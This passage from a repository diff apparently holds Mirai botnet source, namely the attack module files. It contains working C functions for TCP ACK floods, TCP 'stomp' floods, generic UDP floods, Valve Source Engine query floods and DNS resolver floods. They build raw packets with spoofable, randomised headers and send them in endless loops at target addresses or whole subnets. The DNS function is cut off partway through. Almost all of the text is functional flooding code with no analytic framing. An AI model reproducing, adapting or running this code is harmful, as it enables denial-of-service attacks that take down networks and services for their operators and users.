|             tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20); | ||||
|  | ||||
|             targs[i].sock_addr.sin_port = tcph->dest; | ||||
|             sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + 20, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); | ||||
|         } | ||||
| #ifdef DEBUG | ||||
|             break; | ||||
|             if (errno != 0) | ||||
|                 printf("errno = %d\n", errno); | ||||
| #endif | ||||
|     } | ||||
| } | ||||
|  | ||||
| void attack_tcp_ack(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) | ||||
| { | ||||
|     int i, fd; | ||||
|     char **pkts = calloc(targs_len, sizeof (char *)); | ||||
|     uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); | ||||
|     uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); | ||||
|     uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); | ||||
|     BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE); | ||||
|     port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); | ||||
|     port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); | ||||
|     uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff); | ||||
|     uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0xffff); | ||||
|     BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE); | ||||
|     BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE); | ||||
|     BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE); | ||||
|     BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE); | ||||
|     BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE); | ||||
|     BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE); | ||||
|     int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); | ||||
|     BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); | ||||
|     uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); | ||||
|  | ||||
|     if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to create raw socket. Aborting attack\n"); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
|     i = 1; | ||||
|     if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to set IP_HDRINCL. Aborting\n"); | ||||
| #endif | ||||
|         close(fd); | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     for (i = 0; i < targs_len; i++) | ||||
|     { | ||||
|         struct iphdr *iph; | ||||
|         struct tcphdr *tcph; | ||||
|         char *payload; | ||||
|  | ||||
|         pkts[i] = calloc(1510, sizeof (char)); | ||||
|         iph = (struct iphdr *)pkts[i]; | ||||
|         tcph = (struct tcphdr *)(iph + 1); | ||||
|         payload = (char *)(tcph + 1); | ||||
|  | ||||
|         iph->version = 4; | ||||
|         iph->ihl = 5; | ||||
|         iph->tos = ip_tos; | ||||
|         iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len); | ||||
|         iph->id = htons(ip_ident); | ||||
|         iph->ttl = ip_ttl; | ||||
|         if (dont_frag) | ||||
|             iph->frag_off = htons(1 << 14); | ||||
|         iph->protocol = IPPROTO_TCP; | ||||
|         iph->saddr = source_ip; | ||||
|         iph->daddr = targs[i].addr; | ||||
|  | ||||
|         tcph->source = htons(sport); | ||||
|         tcph->dest = htons(dport); | ||||
|         tcph->seq = htons(seq); | ||||
|         tcph->doff = 5; | ||||
|         tcph->urg = urg_fl; | ||||
|         tcph->ack = ack_fl; | ||||
|         tcph->psh = psh_fl; | ||||
|         tcph->rst = rst_fl; | ||||
|         tcph->syn = syn_fl; | ||||
|         tcph->fin = fin_fl; | ||||
|         tcph->window = rand_next() & 0xffff; | ||||
|         if (psh_fl) | ||||
|             tcph->psh = TRUE; | ||||
|  | ||||
|         rand_str(payload, data_len); | ||||
|     } | ||||
|  | ||||
| //    targs[0].sock_addr.sin_port = tcph->dest; | ||||
| //    if (sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[0].sock_addr, sizeof (struct sockaddr_in)) < 1) | ||||
| //    { | ||||
| // | ||||
| //    } | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
|         for (i = 0; i < targs_len; i++) | ||||
|         { | ||||
|             char *pkt = pkts[i]; | ||||
|             struct iphdr *iph = (struct iphdr *)pkt; | ||||
|             struct tcphdr *tcph = (struct tcphdr *)(iph + 1); | ||||
|             char *data = (char *)(tcph + 1); | ||||
|  | ||||
|             // For prefix attacks | ||||
|             if (targs[i].netmask < 32) | ||||
|                 iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); | ||||
|  | ||||
|             if (source_ip == 0xffffffff) | ||||
|                 iph->saddr = rand_next(); | ||||
|             if (ip_ident == 0xffff) | ||||
|                 iph->id = rand_next() & 0xffff; | ||||
|             if (sport == 0xffff) | ||||
|                 tcph->source = rand_next() & 0xffff; | ||||
|             if (dport == 0xffff) | ||||
|                 tcph->dest = rand_next() & 0xffff; | ||||
|             if (seq == 0xffff) | ||||
|                 tcph->seq = rand_next(); | ||||
|             if (ack == 0xffff) | ||||
|                 tcph->ack_seq = rand_next(); | ||||
|  | ||||
|             // Randomize packet content? | ||||
|             if (data_rand) | ||||
|                 rand_str(data, data_len); | ||||
|  | ||||
|             iph->check = 0; | ||||
|             iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); | ||||
|  | ||||
|             tcph->check = 0; | ||||
|             tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len); | ||||
|  | ||||
|             targs[i].sock_addr.sin_port = tcph->dest; | ||||
|             sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); | ||||
|         } | ||||
| #ifdef DEBUG | ||||
|             break; | ||||
|             if (errno != 0) | ||||
|                 printf("errno = %d\n", errno); | ||||
| #endif | ||||
|     } | ||||
| } | ||||
|  | ||||
| void attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) | ||||
| { | ||||
|     int i, rfd; | ||||
|     struct attack_stomp_data *stomp_data = calloc(targs_len, sizeof (struct attack_stomp_data)); | ||||
|     char **pkts = calloc(targs_len, sizeof (char *)); | ||||
|     uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); | ||||
|     uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); | ||||
|     uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); | ||||
|     BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE); | ||||
|     port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); | ||||
|     BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE); | ||||
|     BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE); | ||||
|     BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, TRUE); | ||||
|     BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE); | ||||
|     BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE); | ||||
|     BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE); | ||||
|     int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 768); | ||||
|     BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); | ||||
|  | ||||
|     // Set up receive socket | ||||
|     if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Could not open raw socket!\n"); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
|     i = 1; | ||||
|     if (setsockopt(rfd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to set IP_HDRINCL. Aborting\n"); | ||||
| #endif | ||||
|         close(rfd); | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     // Retrieve all ACK/SEQ numbers | ||||
|     for (i = 0; i < targs_len; i++) | ||||
|     { | ||||
|         int fd; | ||||
|         struct sockaddr_in addr, recv_addr; | ||||
|         socklen_t recv_addr_len; | ||||
|         char pktbuf[256]; | ||||
|         time_t start_recv; | ||||
|  | ||||
|         stomp_setup_nums: | ||||
|  | ||||
|         if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("Failed to create socket!\n"); | ||||
| #endif | ||||
|             continue; | ||||
|         } | ||||
|  | ||||
|         // Set it in nonblocking mode | ||||
|         fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK); | ||||
|   | ||||
|         // Set up address to connect to | ||||
|         addr.sin_family = AF_INET; | ||||
|         if (targs[i].netmask < 32) | ||||
|             addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); | ||||
|         else | ||||
|             addr.sin_addr.s_addr = targs[i].addr; | ||||
|         if (dport == 0xffff) | ||||
|             addr.sin_port = rand_next() & 0xffff; | ||||
|         else | ||||
|             addr.sin_port = htons(dport); | ||||
|  | ||||
|         // Actually connect, nonblocking | ||||
|         connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); | ||||
|         start_recv = time(NULL); | ||||
|  | ||||
|         // Get info | ||||
|         while (TRUE) | ||||
|         { | ||||
|             int ret; | ||||
|  | ||||
|             recv_addr_len = sizeof (struct sockaddr_in); | ||||
|             ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len); | ||||
|             if (ret == -1) | ||||
|             { | ||||
| #ifdef DEBUG | ||||
|                 printf("Could not listen on raw socket!\n"); | ||||
| #endif | ||||
|                 return; | ||||
|             } | ||||
|             if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr))) | ||||
|             { | ||||
|                 struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr)); | ||||
|  | ||||
|                 if (tcph->source == addr.sin_port) | ||||
|                 { | ||||
|                     if (tcph->syn && tcph->ack) | ||||
|                     { | ||||
|                         struct iphdr *iph; | ||||
|                         struct tcphdr *tcph; | ||||
|                         char *payload; | ||||
|  | ||||
|                         stomp_data[i].addr = addr.sin_addr.s_addr; | ||||
|                         stomp_data[i].seq = ntohl(tcph->seq); | ||||
|                         stomp_data[i].ack_seq = ntohl(tcph->ack_seq); | ||||
|                         stomp_data[i].sport = tcph->dest; | ||||
|                         stomp_data[i].dport = addr.sin_port; | ||||
| #ifdef DEBUG | ||||
|                         printf("ACK Stomp got SYN+ACK!\n"); | ||||
| #endif | ||||
|                         // Set up the packet | ||||
|                         pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len); | ||||
|                         iph = (struct iphdr *)pkts[i]; | ||||
|                         tcph = (struct tcphdr *)(iph + 1); | ||||
|                         payload = (char *)(tcph + 1); | ||||
|  | ||||
|                         iph->version = 4; | ||||
|                         iph->ihl = 5; | ||||
|                         iph->tos = ip_tos; | ||||
|                         iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len); | ||||
|                         iph->id = htons(ip_ident); | ||||
|                         iph->ttl = ip_ttl; | ||||
|                         if (dont_frag) | ||||
|                             iph->frag_off = htons(1 << 14); | ||||
|                         iph->protocol = IPPROTO_TCP; | ||||
|                         iph->saddr = LOCAL_ADDR; | ||||
|                         iph->daddr = stomp_data[i].addr; | ||||
|  | ||||
|                         tcph->source = stomp_data[i].sport; | ||||
|                         tcph->dest = stomp_data[i].dport; | ||||
|                         tcph->seq = stomp_data[i].ack_seq; | ||||
|                         tcph->ack_seq = stomp_data[i].seq; | ||||
|                         tcph->doff = 8; | ||||
|                         tcph->fin = TRUE; | ||||
|                         tcph->ack = TRUE; | ||||
|                         tcph->window = rand_next() & 0xffff; | ||||
|                         tcph->urg = urg_fl; | ||||
|                         tcph->ack = ack_fl; | ||||
|                         tcph->psh = psh_fl; | ||||
|                         tcph->rst = rst_fl; | ||||
|                         tcph->syn = syn_fl; | ||||
|                         tcph->fin = fin_fl; | ||||
|  | ||||
|                         rand_str(payload, data_len); | ||||
|                         break; | ||||
|                     } | ||||
|                     else if (tcph->fin || tcph->rst) | ||||
|                     { | ||||
|                         close(fd); | ||||
|                         goto stomp_setup_nums; | ||||
|                     } | ||||
|                 } | ||||
|             } | ||||
|  | ||||
|             if (time(NULL) - start_recv > 10) | ||||
|             { | ||||
| #ifdef DEBUG | ||||
|                 printf("Couldn't connect to host for ACK Stomp in time. Retrying\n"); | ||||
| #endif | ||||
|                 close(fd); | ||||
|                 goto stomp_setup_nums; | ||||
|             } | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     // Start spewing out traffic | ||||
|     while (TRUE) | ||||
|     { | ||||
|         for (i = 0; i < targs_len; i++) | ||||
|         { | ||||
|             char *pkt = pkts[i]; | ||||
|             struct iphdr *iph = (struct iphdr *)pkt; | ||||
|             struct tcphdr *tcph = (struct tcphdr *)(iph + 1); | ||||
|             char *data = (char *)(tcph + 1); | ||||
|  | ||||
|             if (ip_ident == 0xffff) | ||||
|                 iph->id = rand_next() & 0xffff; | ||||
|  | ||||
|             if (data_rand) | ||||
|                 rand_str(data, data_len); | ||||
|  | ||||
|             iph->check = 0; | ||||
|             iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); | ||||
|  | ||||
|             tcph->seq = htons(stomp_data[i].seq++); | ||||
|             tcph->ack_seq = htons(stomp_data[i].ack_seq); | ||||
|             tcph->check = 0; | ||||
|             tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len); | ||||
|  | ||||
|             targs[i].sock_addr.sin_port = tcph->dest; | ||||
|             sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); | ||||
|         } | ||||
| #ifdef DEBUG | ||||
|             break; | ||||
|             if (errno != 0) | ||||
|                 printf("errno = %d\n", errno); | ||||
| #endif | ||||
|     } | ||||
| } | ||||
							
								
								
									
										547
									
								
								mirai/bot/attack_udp.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										547
									
								
								mirai/bot/attack_udp.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,547 @@ | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #ifdef DEBUG | ||||
| #include <stdio.h> | ||||
| #endif | ||||
| #include <stdlib.h> | ||||
| #include <unistd.h> | ||||
| #include <sys/socket.h> | ||||
| #include <arpa/inet.h> | ||||
| #include <linux/ip.h> | ||||
| #include <linux/udp.h> | ||||
| #include <errno.h> | ||||
| #include <fcntl.h> | ||||
|  | ||||
| #include "includes.h" | ||||
| #include "attack.h" | ||||
| #include "checksum.h" | ||||
| #include "rand.h" | ||||
| #include "util.h" | ||||
| #include "table.h" | ||||
| #include "protocol.h" | ||||
|  | ||||
| static ipv4_t get_dns_resolver(void); | ||||
|  | ||||
| void attack_udp_generic(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) | ||||
| { | ||||
|     int i, fd; | ||||
|     char **pkts = calloc(targs_len, sizeof (char *)); | ||||
|     uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); | ||||
|     uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); | ||||
|     uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); | ||||
|     BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE); | ||||
|     port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); | ||||
|     port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); | ||||
|     uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); | ||||
|     BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); | ||||
|     uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); | ||||
|  | ||||
|     if (data_len > 1460) | ||||
|         data_len = 1460; | ||||
|  | ||||
|     if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to create raw socket. Aborting attack\n"); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
|     i = 1; | ||||
|     if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to set IP_HDRINCL. Aborting\n"); | ||||
| #endif | ||||
|         close(fd); | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     for (i = 0; i < targs_len; i++) | ||||
|     { | ||||
|         struct iphdr *iph; | ||||
|         struct udphdr *udph; | ||||
|  | ||||
|         pkts[i] = calloc(1510, sizeof (char)); | ||||
|         iph = (struct iphdr *)pkts[i]; | ||||
|         udph = (struct udphdr *)(iph + 1); | ||||
|  | ||||
|         iph->version = 4; | ||||
|         iph->ihl = 5; | ||||
|         iph->tos = ip_tos; | ||||
|         iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); | ||||
|         iph->id = htons(ip_ident); | ||||
|         iph->ttl = ip_ttl; | ||||
|         if (dont_frag) | ||||
|             iph->frag_off = htons(1 << 14); | ||||
|         iph->protocol = IPPROTO_UDP; | ||||
|         iph->saddr = source_ip; | ||||
|         iph->daddr = targs[i].addr; | ||||
|  | ||||
|         udph->source = htons(sport); | ||||
|         udph->dest = htons(dport); | ||||
|         udph->len = htons(sizeof (struct udphdr) + data_len); | ||||
|     } | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
|         for (i = 0; i < targs_len; i++) | ||||
|         { | ||||
|             char *pkt = pkts[i]; | ||||
|             struct iphdr *iph = (struct iphdr *)pkt; | ||||
|             struct udphdr *udph = (struct udphdr *)(iph + 1); | ||||
|             char *data = (char *)(udph + 1); | ||||
|  | ||||
|             // For prefix attacks | ||||
|             if (targs[i].netmask < 32) | ||||
|                 iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); | ||||
|  | ||||
|             if (source_ip == 0xffffffff) | ||||
|                 iph->saddr = rand_next(); | ||||
|  | ||||
|             if (ip_ident == 0xffff) | ||||
|                 iph->id = (uint16_t)rand_next(); | ||||
|             if (sport == 0xffff) | ||||
|                 udph->source = rand_next(); | ||||
|             if (dport == 0xffff) | ||||
|                 udph->dest = rand_next(); | ||||
|  | ||||
|             // Randomize packet content? | ||||
|             if (data_rand) | ||||
|                 rand_str(data, data_len); | ||||
|  | ||||
|             iph->check = 0; | ||||
|             iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); | ||||
|  | ||||
|             udph->check = 0; | ||||
|             udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + data_len); | ||||
|  | ||||
|             targs[i].sock_addr.sin_port = udph->dest; | ||||
|             sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); | ||||
|         } | ||||
| #ifdef DEBUG | ||||
|             break; | ||||
|             if (errno != 0) | ||||
|                 printf("errno = %d\n", errno); | ||||
| #endif | ||||
|     } | ||||
| } | ||||
|  | ||||
| void attack_udp_vse(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) | ||||
| { | ||||
|     int i, fd; | ||||
|     char **pkts = calloc(targs_len, sizeof (char *)); | ||||
|     uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); | ||||
|     uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); | ||||
|     uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); | ||||
|     BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE); | ||||
|     port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); | ||||
|     port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 27015); | ||||
|     char *vse_payload; | ||||
|     int vse_payload_len; | ||||
|  | ||||
|     table_unlock_val(TABLE_ATK_VSE); | ||||
|     vse_payload = table_retrieve_val(TABLE_ATK_VSE, &vse_payload_len); | ||||
|  | ||||
|     if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to create raw socket. Aborting attack\n"); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
|     i = 1; | ||||
|     if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to set IP_HDRINCL. Aborting\n"); | ||||
| #endif | ||||
|         close(fd); | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     for (i = 0; i < targs_len; i++) | ||||
|     { | ||||
|         struct iphdr *iph; | ||||
|         struct udphdr *udph; | ||||
|         char *data; | ||||
|  | ||||
|         pkts[i] = calloc(128, sizeof (char)); | ||||
|         iph = (struct iphdr *)pkts[i]; | ||||
|         udph = (struct udphdr *)(iph + 1); | ||||
|         data = (char *)(udph + 1); | ||||
|  | ||||
|         iph->version = 4; | ||||
|         iph->ihl = 5; | ||||
|         iph->tos = ip_tos; | ||||
|         iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len); | ||||
|         iph->id = htons(ip_ident); | ||||
|         iph->ttl = ip_ttl; | ||||
|         if (dont_frag) | ||||
|             iph->frag_off = htons(1 << 14); | ||||
|         iph->protocol = IPPROTO_UDP; | ||||
|         iph->saddr = LOCAL_ADDR; | ||||
|         iph->daddr = targs[i].addr; | ||||
|  | ||||
|         udph->source = htons(sport); | ||||
|         udph->dest = htons(dport); | ||||
|         udph->len = htons(sizeof (struct udphdr) + 4 + vse_payload_len); | ||||
|  | ||||
|         *((uint32_t *)data) = 0xffffffff; | ||||
|         data += sizeof (uint32_t); | ||||
|         util_memcpy(data, vse_payload, vse_payload_len); | ||||
|     } | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
|         for (i = 0; i < targs_len; i++) | ||||
|         { | ||||
|             char *pkt = pkts[i]; | ||||
|             struct iphdr *iph = (struct iphdr *)pkt; | ||||
|             struct udphdr *udph = (struct udphdr *)(iph + 1); | ||||
|              | ||||
|             // For prefix attacks | ||||
|             if (targs[i].netmask < 32) | ||||
|                 iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); | ||||
|  | ||||
|             if (ip_ident == 0xffff) | ||||
|                 iph->id = (uint16_t)rand_next(); | ||||
|             if (sport == 0xffff) | ||||
|                 udph->source = rand_next(); | ||||
|             if (dport == 0xffff) | ||||
|                 udph->dest = rand_next(); | ||||
|  | ||||
|             iph->check = 0; | ||||
|             iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); | ||||
|  | ||||
|             udph->check = 0; | ||||
|             udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len); | ||||
|  | ||||
|             targs[i].sock_addr.sin_port = udph->dest; | ||||
|             sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); | ||||
|         } | ||||
| #ifdef DEBUG | ||||
|             break; | ||||
|             if (errno != 0) | ||||
|                 printf("errno = %d\n", errno); | ||||
| #endif | ||||
|     } | ||||
| } | ||||
|  | ||||
| void attack_udp_dns(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) | ||||
| { | ||||
|     int i, fd; | ||||
|     char **pkts = calloc(targs_len, sizeof (char *)); | ||||
|     uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); | ||||
|     uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); | ||||
|     uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); | ||||
|     BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE); | ||||
|     port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); | ||||
|     port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 53); | ||||
|     uint16_t dns_hdr_id = attack_get_opt_int(opts_len, opts, ATK_OPT_DNS_HDR_ID, 0xffff); | ||||
|     uint8_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 12); | ||||
|     char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL); | ||||
|     int domain_len; | ||||
|     ipv4_t dns_resolver = get_dns_resolver(); | ||||
|  | ||||
|     if (domain == NULL) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Cannot send DNS flood without a domain\n"); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
|     domain_len = util_strlen(domain); | ||||
|  | ||||
|     if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to create raw socket. Aborting attack\n"); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
|     i = 1; | ||||
|     if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to set IP_HDRINCL. Aborting\n"); | ||||
| #endif | ||||
|         close(fd); | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     for (i = 0; i < targs_len; i++) | ||||
|     { | ||||
|         int ii; | ||||
|         uint8_t curr_word_len = 0, num_words = 0; | ||||
|         struct iphdr *iph; | ||||
|         struct udphdr *udph; | ||||
|         struct dnshdr *dnsh; | ||||
|         char *qname, *curr_lbl; | ||||
|         struct dns_question *dnst; | ||||
|  | ||||
|         pkts[i] = calloc(600, sizeof (char)); | ||||
|         iph = (struct iphdr *)pkts[i]; | ||||
|         udph = (struct udphdr *)(iph + 1); | ||||
|         dnsh = (struct dnshdr *)(udph + 1); | ||||
|         qname = (char *)(dnsh + 1); | ||||
|  | ||||
|         iph->version = 4; | ||||
|         iph->ihl = 5; | ||||
|         iph->tos = ip_tos; | ||||
|         iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question)); | ||||
|         iph->id = htons(ip_ident); | ||||
|         iph->ttl = ip_ttl; | ||||
|         if (dont_frag) | ||||
|             iph->frag_off = htons(1 << 14); | ||||
|         iph->protocol = IPPROTO_UDP; | ||||
|         iph->saddr = LOCAL_ADDR; | ||||
|         iph->daddr = dns_resolver; | ||||
|  | ||||
|         udph->source = htons(sport); | ||||
|         udph->dest = htons(dport); | ||||
|         udph->len = htons(sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question)); | ||||
|  | ||||
|         dnsh->id = htons(dns_hdr_id); | ||||
|         dnsh->opts = htons(1 << 8); // Recursion desired | ||||
|         dnsh->qdcount = htons(1); | ||||
|  | ||||
|         // Fill out random area | ||||
|         *qname++ = data_len; | ||||
|         qname += data_len; | ||||
|  | ||||
|         curr_lbl = qname; | ||||
|         util_memcpy(qname + 1, domain, domain_len + 1); // Null byte at end needed | ||||
|  | ||||
|         // Write in domain | ||||
|         for (ii = 0; ii < domain_len; ii++) | ||||
|         { | ||||
|             if (domain[ii] == '.') | ||||
|             { | ||||
|                 *curr_lbl = curr_word_len; | ||||
